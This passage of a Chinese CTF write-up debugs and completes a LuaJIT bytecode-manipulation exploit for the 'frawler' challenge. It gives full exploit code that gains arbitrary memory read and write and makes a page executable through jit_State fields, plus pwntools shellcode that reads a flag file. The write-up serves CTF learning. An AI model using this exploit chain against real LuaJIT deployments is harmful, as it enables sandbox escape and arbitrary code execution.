  }
  return result;
}
```

崩溃位置：

```
LOAD:000000000002BD70
LOAD:000000000002BD70 loc_2BD70:
LOAD:000000000002BD70 mov     rbx, [rdi] <-- ■■■rdi = 0x4321
LOAD:000000000002BD73 mov     rsi, [rdi+8]
LOAD:000000000002BD77 call    mcode_free
LOAD:000000000002BD7C mov     rdi, rbx
LOAD:000000000002BD7F test    rbx, rbx
LOAD:000000000002BD82 jnz     short loc_2BD70
```

对比原函数：

```
/* Free all MCode areas. */
void lj_mcode_free(jit_State *J)
{
 MCode *mc = J->mcarea;
 J->mcarea = NULL;
 J->szallmcarea = 0;
 while (mc) {
   MCode *next = ((MCLink *)mc)->next;
   mcode_free(J, mc, ((MCLink *)mc)->size);
   mc = next;
 }
}

static void mcode_free(jit_State *J, void *p, size_t sz)
{
 UNUSED(J); UNUSED(sz);
 VirtualFree(p, 0, MEM_RELEASE);
}
```

J参数没有用到，似乎被优化掉了，所以只传入了两个参数。更漂亮的是在这里直接得到了mcarea在`jit_State`中的偏移，这样应该就可以去对比一下了。

```
gef➤  p (uint64_t)(&((GG_State*)0x40000378).J.mcarea)-(uint64_t)(&((GG_State*)0x40000378).J)
$7 = 0x988

>>> 0x988
2440
```

而函数里的为2448，看来确实是错位了，虽然不知道是什么原因，这里也解释了为什么原exp无法正常使用了。

这样是不是还原到原exp就可以使用了呢？

运行结果：

```
[49833.577] 01105.01119> <== general fault, PC at 0x50c8d6669d70
[49833.577] 01105.01119>  CS:                   0 RIP:     0x50c8d6669d70 EFL:              0x286 CR2:                   0
[49833.577] 01105.01119>  RAX:         0xffffffff RBX: 0x9090909090909090 RCX:     0x7e0029445a42 RDX:                   0
[49833.577] 01105.01119>  RSI:                  0 RDI: 0x9090909090909090 RBP:      0x9b703aacc60 RSP:      0x9b703aacc50
[49833.577] 01105.01119>   R8:                  0  R9:                  0 R10:                  0 R11:               0x206
[49833.577] 01105.01119>  R12:         0x10000558 R13:         0x100003b8 R14:

[49833.593] 01105.01119> bt#01: pc 0x50c8d6669d70 sp 0x9b703aacc50 (app:/pkg/bin/frawler,0x2bd70)
[49833.593] 01105.01119> bt#02: pc 0x50c8d66600d4 sp 0x9b703aacc70 (app:/pkg/bin/frawler,0x220d4)
[49833.594] 01105.01119> bt#03: pc 0x50c8d6677b81 sp 0x9b703aaccb0 (app:/pkg/bin/frawler,0x39b81)
```

真正麻烦的来了，这里访问了无效内存，rdi的值变为了0x909090，明显是我们填入的nop的值，可是为什么nop的值变成了这里的rdi，也就是`mcarea`？这个时候没有调试

```
LOAD:00000000000220A1
LOAD:00000000000220A1 loc_220A1:
LOAD:00000000000220A1 mov     word ptr [r13+1F0h], 0
```

```
LOAD:00000000000220AB mov     dword ptr [r13+2E0h], 0
LOAD:00000000000220B6 lea     rdi, [r13+870h] ; s
LOAD:00000000000220BD xor     r14d, r14d
LOAD:00000000000220C0 mov     edx, 200h       ; n
LOAD:00000000000220C5 xor     esi, esi        ; c
LOAD:00000000000220C7 call    _memset
LOAD:00000000000220CC mov     rdi, r12 ; <-- r12[redacted]`lj_mcode_free` [redacted]
LOAD:00000000000220CF call    lj_mcode_free ; <-- [redacted]
LOAD:00000000000220D4 mov     rdi, r12
LOAD:00000000000220D7 call    sub_2BD90
```

再看寄存器值，`r12`为`0x10000558`，也就是`jit_State`的地址，但是为什么在传入到`mcode_free`的时候，`mcarea`的值不对了呢？我们不是已经设置好`mcarea`了吗，怎
需要调试方法了。

怎么办？还好我们有任意读写，那么我们可以在触发jit的奇怪逻辑之前，试试看任意读dump出来想要的内容。

```
local mcarea = mctab[1]
   mctab[0] = 0
   mctab[1] = asaddr / 2^52 / 2^1022
   mctab[2] = mctab[1]
   mctab[3] = mctab[1]
   mctab[4] = 2^12 / 2^52 / 2^1022

   hexdump_print(0x10000558 + 2440, 0x30) -- [redacted]jit[redacted]

   while mctab[0] == 0 do end
```

```
'00 00 00 00 00 00 00 00 00 50 01 10 00 00 00 00 \n'
   '00 50 01 10 00 00 00 00 00 50 01 10 00 00 00 00 \n'
   '00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \n'
```

与我们期望的一致，那么确认了在进入的时候是没有问题的，只能是在`lj_mcode_free`的循环中出了问题，

```
LOAD:000000000002BD70
LOAD:000000000002BD70 loc_2BD70:
LOAD:000000000002BD70 mov     rbx, [rdi]
LOAD:000000000002BD73 mov     rsi, [rdi+8]
LOAD:000000000002BD77 call    mcode_free
LOAD:000000000002BD7C mov     rdi, rbx ; <-- [redacted]rdi
LOAD:000000000002BD7F test    rbx, rbx
LOAD:000000000002BD82 jnz     short loc_2BD70
```

对比原函数，这里是由于在找到链表下一个的时候出了问题，看起来链表下一个的位置位于+0offset的位置，因为是直接把rbx取出来的。那么也就是，将`0x10015000`作为

```
'90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
   '90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
   '90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
```

果不其然，这里就是我们填充的内容！那么问题的来源就清楚了，其实本质上讲由于我们的跳转是精准的，并不需要nop来slip，那么直接把nop4k的填充内容改为`00`就解决

这么一个小小的问题，导致了这个题卡了我好久。。

另外一个需要注意的小问题是shellcode的问题，寄存器状态和上一种方法已经不同了，我们得重新去找到text段基地址等，不过已经有shellcode执行了，这些都是很小的事

exploit

orig_exp.tpl.lua

```
-- The following function serves as the template for evil.lua.
-- The general outline is to compile this function as-written, dump
-- it to bytecode, manipulate the bytecode a bit, and then save the
-- result as evil.lua.
local evil = function(v)
 -- This is the x86_64 native code which we'll execute. It
 -- is a very benign payload which just prints "Hello World"
 -- and then fixes up some broken state.
   local shellcode =
       {SHELLCODE_TPL}

 -- The dirty work is done by the following "inner" function.
 -- This inner function exists because we require a vararg call
```

```
-- frame on the Lua stack, and for the function associated with
-- said frame to have certain special upvalues.
local function inner(...)
  if false then
    -- The following three lines turn into three bytecode
    -- instructions. We munge the bytecode slightly, and then
    -- later reinterpret the instructions as a cdata object,
    -- which will end up being `cdata<const char *>: NULL`.
    -- The `if false` wrapper ensures that the munged bytecode
    -- isn't executed.
    local cdata = -32749
    cdata = 0
    cdata = 0
  end

  -- Through the power of bytecode manipulation, the
  -- following three functions will become (the fast paths of)
  -- string.byte, string.char, and string.sub. This is
  -- possible because LuaJIT has bytecode instructions
  -- corresponding to the fast paths of said functions. Note
  -- that we musn't stray from the fast path (because the
  -- fallback C code won't be wired up). Also note that the
  -- interpreter state will be slightly messed up after
  -- calling one of these functions.
  local function s_byte(s) end
  local function s_char(i, _) end
  local function s_sub(s, i, j) end

  -- The following function does nothing, but calling it will
  -- restore the interpreter state which was messed up following
  -- a call to one of the previous three functions. Because this
  -- function contains a cdata literal, loading it from bytecode
  -- will result in the ffi library being initialised (but not
  -- registered in the global namespace).
  local function resync() return 0LL end

  -- Helper function to reinterpret the first four bytes of a
  -- string as a uint32_t, and return said value as a number.
  local function s_uint32(s)
    local result = 0
    for i = 4, 1, -1 do
      result = result * 256 + s_byte(s_sub(s, i, i))
      resync()
    end
    return result
  end

  -- The following line obtains the address of the GCfuncL
  -- object corresponding to "inner". As written, it just fetches
  -- the 0th upvalue, and does some arithmetic. After some
  -- bytecode manipulation, the 0th upvalue ends up pointing
  -- somewhere very interesting: the frame info TValue containing
  -- func|FRAME_VARG|delta. Because delta is small, this TValue
  -- will end up being a denormalised number, from which we can
  -- easily pull out 32 bits to give us the "func" part.
  local iaddr = (inner * 2^1022 * 2^52) % 2^32

  -- The following five lines read the "pc" field of the GCfuncL
  -- we just obtained. This is done by creating a GCstr object
  -- overlaying the GCfuncL, and then pulling some bytes out of
  -- the string. Bytecode manipulation results in a nice KPRI
  -- instruction which preserves the low 32 bits of the istr
  -- TValue while changing the high 32 bits to specify that the
  -- low 32 bits contain a GCstr*.
  local istr = (iaddr - 4) + 2^52
  istr = -32764 -- Turned into KPRI(str)
  local pc = s_sub(istr, 5, 8)
  istr = resync()
  pc = s_uint32(pc)
```

```
-- The following three lines result in the local variable
-- called "memory" being `cdata<const char *>: NULL`. We can
-- subsequently use this variable to read arbitrary memory
-- (one byte at a time). Note again the KPRI trick to change
-- the high 32 bits of a TValue. In this case, the low 32 bits
-- end up pointing to the bytecode instructions at the top of
-- this function wrapped in `if false`.
local memory = (pc + 8) + 2^52
memory = -32758 -- Turned into KPRI(cdata)
memory = memory + 0

-- Helper function to read a uint32_t from any memory location.
local function m_uint32(offs)
  local result = 0
  for i = offs + 3, offs, -1 do
    result = result * 256 + (memory[i] % 256)
  end
  return result
end

-- Helper function to extract the low 32 bits of a TValue.
-- In particular, for TValues containing a GCobj*, this gives
-- the GCobj* as a uint32_t. Note that the two memory reads
-- here are GCfuncL::uvptr[1] and GCupval::v.
local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)
local function low32(tv)
  v = tv
  return m_uint32(vaddr)
end

-- Helper function which is the inverse of s_uint32: given a
-- 32 bit number, returns a four byte string.
local function ub4(n)
  local result = ""
  for i = 0, 3 do
    local b = n % 256
    n = (n - b) / 256
    result = result .. s_char(b)
    resync()
  end
  return result
end

local function hexdump_print(addr, len)
    local result = ''
    for i = 0, len - 1 do
        if i % 16 == 0 and i ~= 0 then
            result = result .. '\n'
        end
        result = result .. string.format('%02x', memory[addr + i] % 0x100) .. ' '
    end

    print(result)
end
-- The following four lines result in the local variable
-- called "mctab" containing a very special table: the
-- array part of the table points to the current Lua
-- universe's jit_State::patchins field. Consequently,
-- the table's [0] through [4] fields allow access to the
-- mcprot, mcarea, mctop, mcbot, and szmcarea fields of
-- the jit_State. Note that LuaJIT allocates the empty
-- string within global_State, so a fixed offset from the
-- address of the empty string gives the fields we're
-- after within jit_State.
local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(low32("") + 2748)
  .."\0\0\0\0\0\0\0\0\0\0\0\0\5\0\0\0\255\255\255\255"
local mctab = low32(mctab_s) + 16 + 2^52
mctab = -32757 -- Turned into KPRI(table)
```

```
-- Construct a string consisting of 4096 x86 NOP instructions.
--local nop4k = "\144"
local nop4k = "\0"
--[[
local zeros = '\0'
for i = 1, 12 do
    zeros = zeros .. zeros
end
--]]

for i = 1, 12 do
    nop4k = nop4k .. nop4k
end

-- Create a copy of the shellcode which is page aligned, and
-- at least one page big, and obtain its address in "asaddr".
local ashellcode = nop4k .. shellcode .. nop4k
local asaddr = low32(ashellcode) + 16
asaddr = asaddr + 2^12 - (asaddr % 2^12)

--print(asaddr)
--hexdump_print(0x100779f8, 0x30)
-- The following seven lines result in the memory protection of
-- the page at asaddr changing from read/write to read/execute.
-- This is done by setting the jit_State::mcarea and szmcarea
-- fields to specify the page in question, setting the mctop and
-- mcbot fields to an empty subrange of said page, and then
-- triggering some JIT compilation. As a somewhat unfortunate
-- side-effect, the page at asaddr is added to the jit_State's
-- linked-list of mcode areas (the shellcode unlinks it).
local mcarea = mctab[1]
mctab[0] = 0
mctab[1] = asaddr / 2^52 / 2^1022
mctab[2] = mctab[1]
mctab[3] = mctab[1]
mctab[4] = 2^12 / 2^52 / 2^1022


while mctab[0] == 0 do end


--[[
local mcarea = mctab[1]
--mctab[0] = 0xdeadbeef / 2^52 / 2^1022
mctab[0] = 0
mctab[1] = asaddr / 2^52 / 2^1022
mctab[2] = mctab[1]
mctab[3] = mctab[1]
mctab[3] = 0xdeadbeef / 2^52 / 2^1022
mctab[4] = 2^12 / 2^52 / 2^1022
--while mctab[0] == 0 do end
local i = 1
while i < 0x1000000 do
    i = i + 1
    --print(i)
end
--]]
-- The following three lines construct a GCfuncC object
-- whose lua_CFunction field is set to asaddr. A fixed
-- offset from the address of the empty string gives us
-- the global_State::bc_cfunc_int field.
local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
  ub4(asaddr) .."\0\0\0\0"
fshellcode = -32760 -- Turned into KPRI(func)

-- Finally, we invoke the shellcode (and pass it some values
-- which allow it to remove the page at asaddr from the list
-- of mcode areas).
```

```
    fshellcode(mctab[1], mcarea)
  end
  inner()
end

-- Some helpers for manipulating bytecode:
local ffi = require "ffi"
local bit = require "bit"
local BC = {KSHORT = 41, KPRI = 43}

-- Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)
local buf = ffi.new("uint8_t[?]", #estr+1, estr)
local p = buf + 5

-- Helper function to read a ULEB128 from p:
local function read_uleb128()
  local v = p[0]; p = p + 1
  if v >= 128 then
    local sh = 7; v = v - 128
    repeat
      local r = p[0]
      v = v + bit.lshift(bit.band(r, 127), sh)
      sh = sh + 7
      p = p + 1
    until r < 128
  end
  return v
end

-- The dumped bytecode contains several prototypes: one for "evil"
-- itself, and one for every (transitive) inner function. We step
-- through each prototype in turn, and tweak some of them.
while true do
  local len = read_uleb128()
  if len == 0 then break end
  local pend = p + len
  local flags, numparams, framesize, sizeuv = p[0], p[1], p[2], p[3]
  p = p + 4
  read_uleb128()
  read_uleb128()
  local sizebc = read_uleb128()
  local bc = p
  local uv = ffi.cast("uint16_t*", p + sizebc * 4)
  if numparams == 0 and sizeuv == 3 then
    -- This branch picks out the "inner" function.
    -- The first thing we do is change what the 0th upvalue
    -- points at:
    uv[0] = uv[0] + 2
    -- Then we go through and change everything which was written
    -- as "local_variable = -327XX" in the source to instead be
    -- a KPRI instruction:
    for i = 0, sizebc do
      if bc[0] == BC.KSHORT then
        local rd = ffi.cast("int16_t*", bc)[1]
        if rd <= -32749 then
          bc[0] = BC.KPRI
          bc[3] = 0
          if rd == -32749 then
            -- the `cdata = -32749` line in source also tweaks
            -- the two instructions after it:
            bc[4] = 0
            bc[8] = 0
          end
        end
      end
      bc = bc + 4
    end
  elseif sizebc == 1 then
```

```
   -- As written, the s_byte, s_char, and s_sub functions each
   -- contain a single "return" instruction. We replace said
   -- instruction with the corresponding fast-function instruction.
   bc[0] = 147 + numparams
   bc[2] = bit.band(1 + numparams, 6)
 end
 p = pend
end

function string.fromhex(str)
   return (str:gsub('..', function (cc)
       return string.char(tonumber(cc, 16))
   end))
end

function string.tohex(str)
   return (str:gsub('.', function (c)
       return string.format('%02X', string.byte(c))
end))
end

res = string.tohex(ffi.string(buf, #estr))
local f = io.open("../../shellcode.hex", "wb")
f:write(ffi.string(res, #res))
f:close()
--print(res)
--a = loadstring(string.fromhex(res))
--print(a())
```

gen_shellcode.py

```
from pwn import *
context(arch='amd64', os='linux')

shellcode = r'''
pop rax
sub rax, 0x71187
mov rbp, rax
add rax, 0x73370
mov rdi, %s
push rdi
mov rdi, %s
push rdi
mov rdi, rsp
push 0
push 114
mov rsi, rsp
call rax
mov rcx, rax
mov rdi, rsp
mov rsi, 100
mov rdx, 100
mov rax, rbp
add rax, 0x733c0
call rax
mov rdi, 1
mov rsi, rsp
mov rdx, 100
mov rax, rbp
add rax, 0x73510
call rax

push 0
ret

'''
print(shellcode)
shellcode = shellcode % (u64('a/flag'.ljust(8, '\x00')), u64('/pkg/dat'))
```

```
with open('orig_exp.tpl.lua', 'r') as f:
    content = f.read()
    shellcode_hex = repr(asm(shellcode))
    content = content.replace('{SHELLCODE_TPL}', shellcode_hex)
    with open('orig_exp.lua', 'w') as f:
        f.write(content)
```

总结

好吧我其实当时调的过程原比现在描述的更加难受。最开始按照bt去还原的时候还没有去调试和看过luajit代码，只是去对照，看的非常费劲还分析错了，以为是zircon内无法

看来以后要多注意这个问题，有的背景知识还是需要多去熟悉一下才能够完整掌握。

调代码还是很有趣的，开源真好。还是要不断学习才做的动题目呀。

[上一篇：rwctf frawler: lu...] [下一篇：高级JavaScript注入技术]